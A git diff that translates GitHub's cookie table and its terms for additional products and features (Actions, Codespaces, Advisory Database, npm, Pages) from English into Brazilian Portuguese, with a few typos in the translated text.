-GitHub uses cookies to provide and secure our websites, as well as to analyze the usage of our websites, in order to offer you a great user experience. Please take a look at our [Privacy Statement](/github/site-policy/github-privacy-statement#our-use-of-cookies-and-tracking) if you’d like more information about cookies, and on how and why we use them. 
- 
-Since the number and names of cookies may change, the table below may be updated from time to time.
+O GitHub usa cookies para fornecer e proteger nossos sites, bem como analisar o uso dos nossos sites, para oferecer a você uma ótima experiência de usuário. Consulte nossa [Declaração de privacidade](/github/site-policy/github-privacy-statement#our-use-of-cookies-and-tracking) se você quiser saber mais informações sobre cookies e sobre como e por que os usamos.
 
-| Service Provider | Cookie Name | Description | Expiration* |
-|:---|:---|:---|:---|
-| GitHub | `app_manifest_token` | This cookie is used during the App Manifest flow to maintain the state of the flow during the redirect to fetch a user session. | five minutes |
-| GitHub | `color_mode` | This cookie is used to indicate the user selected theme preference. | session | 
-| GitHub | `_device_id` | This cookie is used to track recognized devices for security purposes. | one year |
-| GitHub | `dotcom_user` | This cookie is used to signal to us that the user is already logged in. | one year |
-| GitHub | `_gh_ent` | This cookie is used for temporary application and framework state between pages like what step the customer is on in a multiple step form. | two weeks | 
-| GitHub | `_gh_sess` | This cookie is used for temporary application and framework state between pages like what step the user is on in a multiple step form. | session |
-| GitHub | `gist_oauth_csrf` | This cookie is set by Gist to ensure the user that started the oauth flow is the same user that completes it. | deleted when oauth state is validated |
-| GitHub | `gist_user_session` | This cookie is used by Gist when running on a separate host. | two weeks |
-| GitHub | `has_recent_activity` | This cookie is used to prevent showing the security interstitial to users that have visited the app recently. | one hour | 
-| GitHub | `__Host-gist_user_session_same_site` | This cookie is set to ensure that browsers that support SameSite cookies can check to see if a request originates from GitHub. | two weeks | 
-| GitHub | `__Host-user_session_same_site` | This cookie is set to ensure that browsers that support SameSite cookies can check to see if a request originates from GitHub. | two weeks | 
-| GitHub | `logged_in` | This cookie is used to signal to us that the user is already logged in. | one year | 
-| GitHub | `marketplace_repository_ids` | This cookie is used for the marketplace installation flow. | one hour |
-| GitHub | `marketplace_suggested_target_id` | This cookie is used for the marketplace installation flow. | one hour |
-| GitHub | `_octo` | This cookie is used for session management including caching of dynamic content, conditional feature access, support request metadata, and first party analytics. | one year | 
-| GitHub | `org_transform_notice` | This cookie is used to provide notice during organization transforms. | one hour |
-| GitHub | `private_mode_user_session` |  This cookie is used for Enterprise authentication requests. | two weeks |
-| GitHub | `saml_csrf_token` | This cookie is set by SAML auth path method to associate a token with the client. | until user closes browser or completes authentication request |
-| GitHub | `saml_csrf_token_legacy` | This cookie is set by SAML auth path method to associate a token with the client. | until user closes browser or completes authentication request |
-| GitHub | `saml_return_to` | This cookie is set by the SAML auth path method to maintain state during the SAML authentication loop. | until user closes browser or completes authentication request |
-| GitHub | `saml_return_to_legacy` | This cookie is set by the SAML auth path method to maintain state during the SAML authentication loop. | until user closes browser or completes authentication request |
-| GitHub | `tz` | This cookie allows us to customize timestamps to your time zone. | session | 
-| GitHub | `user_session` | This cookie is used to log you in. | two weeks |
+Como o número e os nomes dos cookies podem mudar, a tabela abaixo pode ser atualizada de vez em quando.
 
-_*_ The **expiration** dates for the cookies listed below generally apply on a rolling basis.
+| Provedor de serviço | Nome do cookie                       | Descrição                                                                                                                                                                                | Vencimento*                                                                  |
+|:------------------- |:------------------------------------ |:---------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- |:---------------------------------------------------------------------------- |
+| GitHub              | `app_manifest_token`                 | Este cookie é usado durante o fluxo do manifesto do aplicativo para manter o estado do fluxo durante o redirecionamento para buscar uma sessão do usuário.                               | cinco minutos                                                                |
+| GitHub              | `color_mode`                         | Este cookie é usado para indicar a preferência de tema selecionada pelo usuário.                                                                                                         | sessão                                                                       |
+| GitHub              | `_device_id`                         | Este cookie é usado para rastrear dispositivos reconhecidos para fins de segurança.                                                                                                      | um ano                                                                       |
+| GitHub              | `dotcom_user`                        | Este cookie é usado para sinalizar que o usuário já está conectado.                                                                                                                      | um ano                                                                       |
+| GitHub              | `_gh_ent`                            | Este cookie é usado para aplicação temporária e para o estado da estrutura entre páginas, como em que etapa o cliente se encontra em um processo de várias etapas.                       | duas semanas                                                                 |
+| GitHub              | `_gh_sess`                           | Este cookie é usado para aplicação temporária e para o estado do framework entre páginas, como por exemplo, em qual etapa o usuário está em um formulário de várias etapas.              | sessão                                                                       |
+| GitHub              | `gist_oauth_csrf`                    | Este cookie é definido pelo Gist para garantir que o usuário que iniciou o fluxo de autenticação seja o mesmo usuário que o completa.                                                    | excluído quando o estado do oauth é validado                                 |
+| GitHub              | `gist_user_session`                  | Este cookie é usado pelo Gist ao ser executado em um host separado.                                                                                                                      | duas semanas                                                                 |
+| GitHub              | `has_recent_activity`                | Este cookie é usado para impedir a exibição de intersticial de segurança para usuários que visitaram o aplicativo recentemente.                                                          | uma hora                                                                     |
+| GitHub              | `__Host-gist_user_session_same_site` | Este cookie foi definido para garantir que os navegadores que suportam cookies do SameSite possam verificar se uma solicitação é originária do GitHub.                                   | duas semanas                                                                 |
+| GitHub              | `__Host-user_session_same_site`      | Este cookie foi definido para garantir que os navegadores que suportam cookies do SameSite possam verificar se uma solicitação é originária do GitHub.                                   | duas semanas                                                                 |
+| GitHub              | `logged_in`                          | Este cookie é usado para sinalizar que o usuário já está conectado.                                                                                                                      | um ano                                                                       |
+| GitHub              | `marketplace_repository_ids`         | Este cookie é usado para o fluxo de instalação do marketplace.                                                                                                                           | uma hora                                                                     |
+| GitHub              | `marketplace_suggested_target_id`    | Este cookie é usado para o fluxo de instalação do marketplace.                                                                                                                           | uma hora                                                                     |
+| GitHub              | `_octo`                              | Este cookie é usado para o gerenciamento de sessões, incluindo o cache de conteúdo dinâmico, acesso condicional a recursos, suporte a metadados solicitados e análise da primeira parte. | um ano                                                                       |
+| GitHub              | `org_transform_notice`               | Este cookie é usado para fornecer aviso durante a transformação da organização.                                                                                                          | uma hora                                                                     |
+| GitHub              | `private_mode_user_session`          | Este cookie é usado para solicitações de autenticação da empresa.                                                                                                                        | duas semanas                                                                 |
+| GitHub              | `saml_csrf_token`                    | Este cookie é definido pelo método de caminho de autenticação SAML para associar um token ao cliente.                                                                                    | até que o usuário feche o navegador ou conclua a solicitação de autenticação |
+| GitHub              | `saml_csrf_token_legacy`             | Este cookie é definido pelo método de caminho de autenticação SAML para associar um token ao cliente.                                                                                    | até que o usuário feche o navegador ou conclua a solicitação de autenticação |
+| GitHub              | `saml_return_to`                     | Este cookie é definido pelo método de caminho de autenticação SAML para manter o estado durante o loop de autenticação SAML.                                                             | até que o usuário feche o navegador ou conclua a solicitação de autenticação |
+| GitHub              | `saml_return_to_legacy`              | Este cookie é definido pelo método de caminho de autenticação SAML para manter o estado durante o loop de autenticação SAML.                                                             | até que o usuário feche o navegador ou conclua a solicitação de autenticação |
+| GitHub              | `tz`                                 | Este cookie nos permite personalizar os horários para seu fuso horário.                                                                                                                  | sessão                                                                       |
+| GitHub              | `user_session`                       | Este cookie é usado para fazer seu login.                                                                                                                                                | duas semanas                                                                 |
 
-(!) Please note while we limit our use of third party cookies to those necessary to provide external functionality when rendering external content, certain pages on our website may set other third party cookies. For example, we may embed content, such as videos, from another site that sets a cookie. While we try to minimize these third party cookies, we can’t always control what cookies this third party content sets.
+_*_ A data de **expiração** para os cookies listados abaixo geralmente se aplicam em uma base contínua.
+
+(!) Observe que, embora limitemos o uso de cookies de terceiros aos que forem necessários para fornecer funcionalidade externa ao processar conteúdo externo, certas páginas no nosso site podem definir outros cookies de terceiros. Por exemplo, podemos incorporar conteúdo, como vídeos, de outro site que define um cookie. Embora tentemos minimizar esses cookies de terceiros, nem sempre podemos controlar quais cookies esse conteúdo de terceiros define.
diff --git a/translations/pt-BR/content/github/site-policy/github-terms-for-additional-products-and-features.md b/translations/pt-BR/content/github/site-policy/github-terms-for-additional-products-and-features.md
index 02ffbb9d03..181581a4f2 100644
--- a/translations/pt-BR/content/github/site-policy/github-terms-for-additional-products-and-features.md
+++ b/translations/pt-BR/content/github/site-policy/github-terms-for-additional-products-and-features.md
@@ -1,5 +1,5 @@
 ---
-title: GitHub Terms for Additional Products and Features
+title: Termos do GitHub para Produtos e Funcionalidades Adicionais
 redirect_from:
   - /github/site-policy/github-additional-product-terms
 versions:
@@ -9,109 +9,109 @@ topics:
   - Legal
 ---
 
-Version Effective Date: August 10, 2021
+Data de vigência da versão: 10 de agosto de 2021
 
-When you use GitHub, you may be given access to lots of additional products and features ("Additional Products and Features"). Because many of the Additional Products and Features offer different functionality, specific terms for that product or feature may apply in addition to your main agreement with us—the GitHub Terms of Service, GitHub Corporate Terms of Service, GitHub General Terms, or Microsoft volume licensing agreement (each, the "Agreement"). Below, we've listed those products and features, along with the corresponding additional terms that apply to your use of them.
+Ao usar o GitHub, você pode ter acesso a muitos produtos e funcionalidades adicionais ("Produtos e Funcionalidades Adicionais"). Porque muitos dos produtos e funcionalidades adicionais oferecem diferentes funcionalidades, termos específicos para esse produto ou recurso, podem-se aplicar, além do seu acordo principal — os Termos de Serviço do GitHub, Termos de Serviço Corporativo, Termos Gerais do GitHub ou contrato de licenciamento de volume da Microsoft (denominados o "Contrato"). Abaixo, listamos os produtos e funcionalidades, junto com os termos adicionais correspondentes que se aplicam ao seu uso.
 
-By using the Additional Products and Features, you also agree to the applicable GitHub Terms for Additional Products and Features listed below. A violation of these GitHub terms for Additional Product and Features is a violation of the Agreement. Capitalized terms not defined here have the meaning given in the Agreement.
+Ao usar as Funcionalidades e Produtos Adicionais, você também concorda com os Termos do GitHub aplicáveis para Produtos Adicionais e Funcionalidades listados abaixo. A violação destes termos do GitHub para Produtos e Funcionalidades Adicionais constitui uma violação do Contrato. Os termos em maiúsculas não definidos aqui têm o significado consignado no Contrato.
 
-**For Enterprise users**
-- **GitHub Enterprise Cloud** users may have access to the following Additional Products and Features: Actions, Advanced Security, Advisory Database, Codespaces, Dependabot Preview, GitHub Enterprise Importer, Learning Lab, Packages, and Pages. 
+**Para usuários corporativos**
+- Os usuários do **GitHub Enterprise Cloud** podem ter acesso aos seguintes Produtos e Funcionalidades: Ações, Segurança avançada, base de dados de consultores, códigos, pré-visualizações do Dependabot, importaor do GitHub Enterprise, laboratório de aprendizado, pacotes e páginas.
 
-- **GitHub Enterprise Server** users may have access to the following Additional Products and Features: Actions, Advanced Security, Advisory Database, Connect, Dependabot Preview, GitHub Enterprise Importer, Learning Lab, Packages, Pages, and SQL Server Images. 
+- Os usuários do **GitHub Enterprise Server** podem ter acesso aos seguintes Produtos e Funcionalidades: Ações, Segurança Avançada, Dados de Consultoria, Conexões, Visualização de Dependabot, Importador do GitHub Enterprise, Laboratório de Aprendizado, Pacotes, Páginas e Imagens de Servidor SQL.
 
-- **GitHub AE** users may have access to the following Additional Products and Features: Actions, Advanced Security, Advisory Database, {% ifversion ghae %}Connect, {% endif %}Dependabot Preview, GitHub Enterprise Importer, Packages and Pages.
+- Os usuários do **GitHub AE** podem ter acesso aos seguintes produtos e funcionalidades: ações, segurança avançada, dados de consultoria, {% ifversion ghae %}conexões, {% endif %}visualização de dependência, Importador do GitHub Enterprise, pacotes e páginas.
 
-## Actions
-GitHub Actions enables you to create custom software development lifecycle workflows directly in your GitHub repository. Actions is billed on a usage basis. The [Actions documentation](/actions) includes details, including compute and storage quantities (depending on your Account plan), and how to monitor your Actions minutes usage and set usage limits. 
+## Ações
+As Ações GitHub permitem criar fluxos de trabalho personalizados do ciclo de vida de desenvolvimento de softwares diretamente no seu repositório GitHub. Ações são cobradas conforme o uso. A [Documentação de ações](/actions) inclui detalhes, que abrangem quantidades de computação e armazenamento (dependendo do plano da sua conta) e como monitorar seus minutos de ação de uso e definir limites de uso.
 
-Actions and any elements of the Actions product or service may not be used in violation of the Agreement, the [GitHub Acceptable Use Polices](/github/site-policy/github-acceptable-use-policies), or the GitHub Actions service limitations set forth in the [Actions documentation](/actions/reference/usage-limits-billing-and-administration). Additionally, regardless of whether an Action is using self-hosted runners, Actions should not be used for:
-- cryptomining;
-- disrupting, gaining, or attempting to gain unauthorized access to, any service, device, data, account, or network (other than those authorized by the [GitHub Bug Bounty program](https://bounty.github.com));
-- the provision of a stand-alone or integrated application or service offering the Actions product or service, or any elements of the Actions product or service, for commercial purposes;
-- any activity that places a burden on our servers, where that burden is disproportionate to the benefits provided to users (for example, don't use Actions as a content delivery network or as part of a serverless application, but a low benefit Action could be ok if it’s also low burden); or
-- if using GitHub-hosted runners, any other activity unrelated to the production, testing, deployment, or publication of the software project associated with the repository where GitHub Actions are used.
+As ações e todos elementos do serviço ou produto de Ações não podem ser usados em violação do Contrato, a [Políticas de Uso Aceitável no GitHub](/github/site-policy/github-acceptable-use-policies), ou as limitações de serviço do GitHub Actions estabelecidas na [Documentação de Ações](/actions/reference/usage-limits-billing-and-administration). Além disso, independentemente de uma Ação estar usando executores auto-hospedados, as ações não devem ser usadas para:
+- mineração de criptomoedas;
+- interromper, ganhar ou tentar obter acesso não autorizado a qualquer serviço, dispositivo, dados, conta ou rede (que não sejam os autorizados pelo [Programa de Recompensas do GitHub](https://bounty.github.com));
+- a prestação de um aplicativo ou serviço ou autônomo ou integrado que ofereça o produto ou serviço de Ações, ou quaisquer elementos das Ações de produto ou serviço, para fins comerciais;
+- qualquer atividade que coloque um peso em nossos servidores, em que esse peso é desproporcional aos benefícios oferecidos aos usuários (por exemplo, não usar Ações como uma rede de entrega de conteúdo ou como parte de um aplicativo sem servidor, mas uma Ação de baixo benefício pode ser realizada se também tiver um peso baixo); ou
+- ao usar usando exeucotres hospedados no GitHub, qualquer outra atividade não relacionada com a produção, teste, implantação, ou publicação do projeto de software associado ao repositório onde o GitHub Actions é utilizado.
 
-In order to prevent violations of these limitations and abuse of GitHub Actions, GitHub may monitor your use of GitHub Actions. Misuse of GitHub Actions may result in termination of jobs, restrictions in your ability to use GitHub Actions, or the disabling of repositories created to run Actions in a way that violates these Terms.
+Para evitar violações dessas limitações e abuso de Ações do GitHub, o GitHub pode monitorar seu uso das Ações do GitHub. O mau uso do GitHub Actions pode gerar a rescisão de trabalhos, restrições na sua capacidade de usar o GitHub Actions, ou a desabilitação de repositórios criados para executar ações de forma que viole estes Termos.
 
 
-## Advanced Security
-GitHub makes extra security features available to customers under an Advanced Security license. These features include code scanning, secret scanning, and dependency review. The [Advanced Security documentation](/github/getting-started-with-github/about-github-advanced-security) provides more details.
+## Segurança Avançada
+O GitHub disponibiliza funcionalidades adicionais de segurança aos clientes sob uma licença avançada de segurança. Essas funcionalidades incluem a verificação de código, varredura de segredo e revisão de dependências. A [documentação avançada de segurança](/github/getting-started-with-github/about-github-advanced-security) fornece mais informações.
 
-Advanced Security is licensed on a "Unique Committer" basis. A "Unique Committer" is a licensed user of GitHub Enterprise, GitHub Enterprise Cloud, GitHub Enterprise Server, or GitHub AE, who has made a commit in the last 90 days to any repository with any GitHub Advanced Security functionality activated. You must acquire a GitHub Advanced Security User license for each of your Unique Committers. You may only use GitHub Advanced Security on codebases that are developed by or for you. For GitHub Enterprise Cloud users, some Advanced Security features also require the use of GitHub Actions. 
+A segurança avançada é licenciada conforme o "commiter único". Um "Committer único" é um usuário licenciado do GitHub Enterprise, GitHub Enterprise Cloud, GitHub Enterprise Server, ou GitHub AE, que criou um commit nos últimos 90 dias para qualquer repositório que tivesse qualquer recurso de Advanced Security do GitHub ativado. Você deve adquirir uma licença de Usuário GitHub Advanced Security para cada um dos seus Commiters únicos. Você só pode usar o GitHub Advanced Security em códigos desenvolvidos por ou para você. Para usuários do GitHub Enterprise Cloud, algumas funcionalidades de segurança avançada também exigem o uso de ações no GitHub.
 
-## Advisory Database
-The GitHub Advisory Database allows you to browse or search for vulnerabilities that affect open source projects on GitHub.
+## Banco de Dados Consultivo
+A base de dados do GitHub Advisory permite que você pesquise ou procure vulnerabilidades que afetem projetos de código aberto no GitHub.
 
-_License Grant to Us_
+_Concessão de licença para nós_
 
-We need the legal right to submit your contributions to the GitHub Advisory Database into public domain datasets such as the [National Vulnerability Database](https://nvd.nist.gov/) and to license the GitHub Advisory Database under open terms for use by security researchers, the open source community, industry, and the public. You agree to release your contributions to the GitHub Advisory Database under the [Creative Commons Zero license](https://creativecommons.org/publicdomain/zero/1.0/).
+Precisamos do direito de submeter suas contribuições para o Banco de Dados Consultivo do GitHub a conjuntos de dados de domínio público, como a [Base de Dados de Vulnerabilidade Nacional](https://nvd.nist.gov/) e licenciar o Banco de Dados Consultivo do GitHub, sob termos abertos, para uso de pesquisadores de segurança, comunidade de código aberto, setor industrial e o público em geral. Você concorda em lançar suas contribuições no Banco de Dados Consultivo do GitHub sob a [licença Creative Commons Zero](https://creativecommons.org/publicdomain/zero/1.0/).
 
-_License to the GitHub Advisory Database_
+_Licença para o Banco de Dados Consultivo GitHub _
 
-The GitHub Advisory Database is licensed under the [Creative Commons Attribution 4.0 license](https://creativecommons.org/licenses/by/4.0/). The attribution term may be fulfilled by linking to the GitHub Advisory Database at <https://github.com/advisories> or to individual GitHub Advisory Database records used, prefixed by <https://github.com/advisories>.
+O Banco de Dados Consultivo GitHub está licenciado sob a [licença 4.0 Creative Commons Attribution](https://creativecommons.org/licenses/by/4.0/). O termo de atribuição pode ser cumprido linkando para o Banco de Dados Consultivo do GitHub em <https://github.com/advisories> ou para registros individuais do Banco de Dados Consultivo do GitHub usado e prefixado por <https://github.com/advisories>.
 
 ## Codespaces
-_Note: The github.dev service, available by pressing `.` on a repo or navigating directly to github.dev, is governed by [GitHub's Beta Terms of service](/github/site-policy/github-terms-of-service#j-beta-previews)._
+_Observação: O serviço github.dev disponível ao pressionar `.` em um repositório ou acessando diretamente o github.dev, é regido pelos [Trmos de Serviço Beta do GitHub](/github/site-policy/github-terms-of-service#j-beta-previews)._
 
-GitHub Codespaces enables you to develop code directly from your browser using the code within your GitHub repository. Codespaces and any elements of the Codespaces service may not be used in violation of the Agreement or the Acceptable Use Policies. Additionally, Codespaces should not be used for:
-- cryptomining;
-- using our servers to disrupt, or to gain or to attempt to gain unauthorized access to any service, device, data, account or network (other than those authorized by the GitHub Bug Bounty program);
-- the provision of a stand-alone or integrated application or service offering Codespaces or any elements of Codespaces for commercial purposes;
-- any activity that places a burden on our servers, where that burden is disproportionate to the benefits provided to users (for example, don't use Codespaces as a content delivery network, as part of a serverless application, or to host any kind of production-facing application); or
-- any other activity unrelated to the development or testing of the software project associated with the repository where GitHub Codespaces is initiated.
+O GitHub Codespaces permite que você desenvolva o código diretamente a partir do seu navegador usando o código no seu repositório do GitHub. Os codespaces e todos os elementos do serviço do codespaces não podem ser usados em violação do Contrato ou das políticas de uso aceitáveis. Além disso, os codespaces não devem ser usados para:
+- mineração de criptomoedas;
+- usar nossos servidores para interromper ou ganhar ou tentar ganhar acesso não autorizado a qualquer serviço, dispositivo, dados, conta ou rede (a menos que autorizado pelo programa de recompensa por erros do GitHub);
+- a oferta de um aplicativo ou serviço independente ou integrado que ofereça codespaces ou elementos de codespaces para fins comerciais;
+- qualquer atividade que represente um fardo em nossos servidores, em que esse fardo é desproporcional aos benefícios oferecidos para os usuários (por exemplo, não usar codespaces como uma rede de entrega de conteúdo, como parte de uma aplicação sem servidor, ou para hospedar qualquer tipo de aplicativo voltado para produção); ou
+- qualquer outra atividade não relacionada ao desenvolvimento ou teste do projeto do software associado ao repositório em que o GitHub Codespaces é iniciado.
 
-In order to prevent violations of these limitations and abuse of GitHub Codespaces, GitHub may monitor your use of GitHub Codespaces. Misuse of GitHub Codespaces may result in termination of your access to Codespaces, restrictions in your ability to use GitHub Codespaces, or the disabling of repositories created to run Codespaces in a way that violates these Terms.
+Para evitar violações dessas limitações e abusos do GitHub Codespaces, este pode monitorar o seu uso do GitHub Codespaces. O mau uso do GitHub Codespaces pode resultar no cancelamento do seu acesso aos Codespaces, em restrições na sua capacidade de usar o GitHub Codespaces ou na desativação de repositórios criados para executar codespaces de forma a violar estes Termos.
 
-Codespaces allows you to load extensions from the Microsoft Visual Studio Marketplace (“Marketplace Extensions”) for use in your development environment, for example, to process the programming languages that your code is written in. Marketplace Extensions are licensed under their own separate terms of use as noted in the Visual Studio Marketplace, and the terms of use located at https://aka.ms/vsmarketplace-ToU. GitHub makes no warranties of any kind in relation to Marketplace Extensions and is not liable for actions of third-party authors of Marketplace Extensions that are granted access to Your Content. Codespaces also allows you to load software into your environment through devcontainer features. Such software is provided under the separate terms of use accompanying it. Your use of any third-party applications is at your sole risk.
+Os Codespaces permitem que você carregue extensões do Marketplace do Microsoft Visual ("Extensões do Marketplace") para uso no seu ambiente de desenvolvimento como, por exemplo, para processar as linguagens de programação na qual o seu código está escrito. As extensões do Marketplace são licenciadas nos seus próprios termos de uso separados, conforme, observado no Visual Studio Marketplace e os termos de uso localizados em https://aka. /pt_BR/vsmarketplace-ToU. O GitHub não faz nenhuma garantia de qualquer natureza com relação às Extensões do Marketplace e não é responsável por ações de autores de terceiros das Extensões do Marketplace que tenham acesso ao Seu Conteúdo. Os codespaces também permitem que você carregue o software no seu ambiente por meio de recursos de devcontainer. Este tipo de software é fornecido ao abrigo dos termos de utilização separados que o acompanha. Seu uso de qualquer aplicativo de terceiros é de inteira responsabilidade sua.
 
-The generally available version of Codespaces is not currently available for U.S. government customers. U.S. government customers may continue to use the Codespaces Beta Preview under separate terms. See [Beta Preview terms](/github/site-policy/github-terms-of-service#j-beta-previews).
+A versão geralmente disponível do Codespaces não está disponível atualmente para os clientes de governo dos EUA. EUA os clientes governamentais podem continuar usando a Visualização Beta de Codespaces em termos separados. Consulte [Termos de Visualização Beta](/github/site-policy/github-terms-of-service#j-beta-previews).
 
 ## Connect
-With GitHub Connect, you can share certain features and data between your GitHub Enterprise Server {% ifversion ghae %}or GitHub AE {% endif %}instance and your GitHub Enterprise Cloud organization or enterprise account on GitHub.com. In order to enable GitHub Connect, you must have at least one (1) account on GitHub Enterprise Cloud or GitHub.com, and one (1) licensed instance of GitHub Enterprise Server{% ifversion ghae %} or GitHub AE{% endif %}. Your use of GitHub Enterprise Cloud or GitHub.com through Connect is governed by the terms under which you license GitHub Enterprise Cloud or GitHub.com. Use of Personal Data is governed by the [GitHub Privacy Statement](/github/site-policy/github-privacy-statement).
+Com GitHub Connect, você pode compartilhar certas funcionalidades e dados entre seu GitHub Enterprise Server {% ifversion ghae %}ou sua instância do GitHub AE {% endif %}e sua organização do GitHub Enterprise Cloud ou conta corporativa no GitHub.com. Para habilitar o GitHub Connect, você precisa ter ao menos uma (1) conta no GitHub Enterprise Cloud ou GitHub.com e uma (1) instância licenciada do GitHub Enterprise Server{% ifversion ghae %} ou GitHub AE{% endif %}. O seu uso do GitHub Enterprise Cloud ou GitHub.com por meio do Connect é regido pelos termos sob os quais você licencia o GitHub Enterprise Cloud ou GitHub.com. O uso de dados pessoais é regido pela [Declaração de Privacidade do GitHub](/github/site-policy/github-privacy-statement).
 
-## GitHub Enterprise Importer
-Importer is a framework for exporting data from other sources to be imported to the GitHub platform. Importer is provided “AS-IS”.
+## Importador do GitHub Enterprise
+O Importador é uma estrutura para exportar dados de outras fontes a serem importados para a plataforma GitHub. O Importador é fornecido como se apresenta.
 
 ## Learning Lab
-GitHub Learning Lab offers free interactive courses that are built into GitHub with instant automated feedback and help.
+O GitHub Learning Lab oferece cursos interativos grátis que são construídos no GitHub com feedback e ajuda automatizados instantaneamente.
 
-*Course Materials.* GitHub owns course materials that it provides and grants you a worldwide, non-exclusive, limited-term, non-transferable, royalty-free license to copy, maintain, use and run such course materials for your internal business purposes associated with Learning Lab use. 
+*Materiais do Curso.* O GitHub tem materiais de curso que fornece e concede a você um mundo inteiro, não exclusivo, limitado e não transferível, licença gratuita para copiar, manter, usar e executar tais materiais do curso para seus propósitos de negócio internos associados ao uso do Learning Lab.
 
-Open source license terms may apply to portions of source code provided in the course materials. 
+Os termos da licença de código aberto podem ser aplicados a partes do código-fonte fornecidas nos materiais do curso.
 
-You own course materials that you create and grant GitHub a worldwide, non-exclusive, perpetual, non-transferable, royalty-free license to copy, maintain, use, host, and run such course materials. 
+Você tem materiais do curso que você cria e concede ao GitHub uma licença global, não exclusiva, perpétua, não transferível, livre de royalties para copiar, manter, usar, hospedar e executar tais materiais do curso.
 
-The use of GitHub course materials and creation and storage of your own course materials do not constitute joint ownership to either party's respective intellectual property.
+O uso de materiais e criação e armazenamento do seu próprio curso no GitHub não constituem uma propriedade conjunta para a propriedade intelectual de nenhuma das partes.
 
-Use of Personal Data is governed by the [GitHub Privacy Statement](/github/site-policy/github-privacy-statement).
+O uso de dados pessoais é regido pela [Declaração de Privacidade do GitHub](/github/site-policy/github-privacy-statement).
 
 ## npm
-npm is a software package hosting service that allows you to host your software packages privately or publicly and use packages as dependencies in your projects. npm is the registry of record for the JavaScript ecosystem. The npm public registry is free to use but customers are billed if they want to publish private packages or manage private packages using teams. The [npm documentation](https://docs.npmjs.com/) includes details about the limitation of account types and how to manage [private packages](https://docs.npmjs.com/about-private-packages) and [organizations](https://docs.npmjs.com/organizations). Acceptable use of the npm registry is outlined in the [open-source terms](https://www.npmjs.com/policies/open-source-terms). There are supplementary terms for both the npm [solo](https://www.npmjs.com/policies/solo-plan) and [org](https://www.npmjs.com/policies/orgs-plan) plans. The npm [Terms of Use](https://www.npmjs.com/policies/terms) apply to your use of npm.
+npm é um serviço de hospedagem de pacotes de software que permite a você hospedar seus pacotes de software de forma privada ou pública e usar pacotes como dependências nos seus projetos. npm é o registro do ecossistema do JavaScript. O registro público do npm é gratuito para usar, mas os clientes são cobrados se quiserem publicar pacotes privados ou gerenciar pacotes privados usando equipes. A [documentação do npm](https://docs.npmjs.com/) inclui detalhes sobre a limitação dos tipos de conta e como gerenciar [pacotes privados](https://docs.npmjs.com/about-private-packages) e [organizações](https://docs.npmjs.com/organizations). O uso aceitável do registro npm está definido nos [termos do open-source](https://www.npmjs.com/policies/open-source-terms). Existem termos suplementares para os dois planos do npm [solo](https://www.npmjs.com/policies/solo-plan) e [org](https://www.npmjs.com/policies/orgs-plan). Os [Termos de Uso](https://www.npmjs.com/policies/terms) do npm aplicam-se ao seu uso do npm.
 
 ## Packages
-GitHub Packages is a software package hosting service that allows you to host your software packages privately or publicly and use packages as dependencies in your projects. GitHub Packages is billed on a usage basis. The [Packages documentation](/packages/learn-github-packages/introduction-to-github-packages) includes details, including bandwidth and storage quantities (depending on your Account plan), and how to monitor your Packages usage and set usage limits. Packages bandwidth usage is limited by the [GitHub Acceptable Use Polices](/github/site-policy/github-acceptable-use-policies).
+O GitHub Packages é um serviço de hospedagem de pacotes de software que permite que você hospede os seus pacotes de software de forma privada ou pública e usar pacotes como dependências nos seus projetos. O GitHub Packages são cobrados com base no uso. A [Documentação de pacotes](/packages/learn-github-packages/introduction-to-github-packages) inclui detalhes, que abrangem a largura de banda e quantidades de armazenamento (dependendo do plano da sua conta) e como monitorar seu uso de pacotes e definir limites de uso. O uso de largura de banda de pacotes é limitado pela [Política de Uso Aceitável do GitHub](/github/site-policy/github-acceptable-use-policies).
 
 ## Pages
 
-Each Account comes with access to the [GitHub Pages static hosting service](/github/working-with-github-pages/about-github-pages). GitHub Pages is intended to host static web pages, but primarily as a showcase for personal and organizational projects. 
+Cada Conta vem com acesso a [serviços de hospedagem estática do GitHub Pages](/github/working-with-github-pages/about-github-pages). O GitHub Pages destina-se a hospedar páginas estáticas da web, mas principalmente como uma vitrine para projetos pessoais e organizacionais.
 
-GitHub Pages is not intended for or allowed to be used as a free web hosting service to run your online business, e-commerce site, or any other website that is primarily directed at either facilitating commercial transactions or providing commercial software as a service (SaaS). Some monetization efforts are permitted on Pages, such as donation buttons and crowdfunding links. 
+O GitHub Pages não foi projetado e nem tem permissão para ser usado como um serviço de hospedagem gratuita na web, capaz de administrar sua empresa online, seu site de comércio eletrônico ou qualquer outro site desenvolvido principalmente para facilitar transações comerciais ou fornecer software comercial como um serviço (SaaS). Alguns esforços de monetização são permitidos no Pages, como botões de doação e links para crowdfunding.
 
-_Bandwidth and Usage Limits_
+_Banda larga e limites de uso_
 
-GitHub Pages are subject to some specific bandwidth and usage limits, and may not be appropriate for some high-bandwidth uses. Please see our [GitHub Pages limits](/github/working-with-github-pages/about-github-pages) for more information. 
+O GitHub Pages está sujeito a limites específicos de uso e largura de banda e pode não ser apropriado para alguns usos elevados de banda larga. Consulte nossos [limites do GitHub Pages](/github/working-with-github-pages/about-github-pages) para obter mais informações.
 
-_Prohibited Uses_
+_Uso proibido_
 
-GitHub Pages may not be used in violation of the Agreement, the GitHub [Acceptable Use Policies](/github/site-policy/github-acceptable-use-policies), or the GitHub Pages service limitations set forth in the [Pages documentation](/pages/getting-started-with-github-pages/about-github-pages#guidelines-for-using-github-pages).
+O GitHub Pages não pode ser usado de forma a violar o Contrato, as [Políticas de Uso Aceitável](/github/site-policy/github-acceptable-use-policies) do GitHub ou as limitações de serviço do GitHub Pages definidas na [documentação do GitHub Pages](/pages/getting-started-with-github-pages/about-github-pages#guidelines-for-using-github-pages).
 
-If you have questions about whether your use or intended use falls into these categories, please contact [GitHub Support](https://support.github.com/contact?tags=docs-policy). GitHub reserves the right at all times to reclaim any GitHub subdomain without liability.
+Se você tiver dúvidas sobre se o seu uso ou uso pretendido se enquadram nessas categorias, entre em contato com o [Suporte do GitHube](https://support.github.com/contact?tags=docs-policy). O GitHub se reserva o direito de recuperar qualquer subdomínio GitHub sem responsabilidade.
 
-## Sponsors Program
+## Programa Sponsors
 
-GitHub Sponsors allows the developer community to financially support the people and organizations who design, build, and maintain the open source projects they depend on, directly on GitHub. In order to become a Sponsored Developer, you must agree to the [GitHub Sponsors Program Additional Terms](/github/site-policy/github-sponsors-additional-terms).
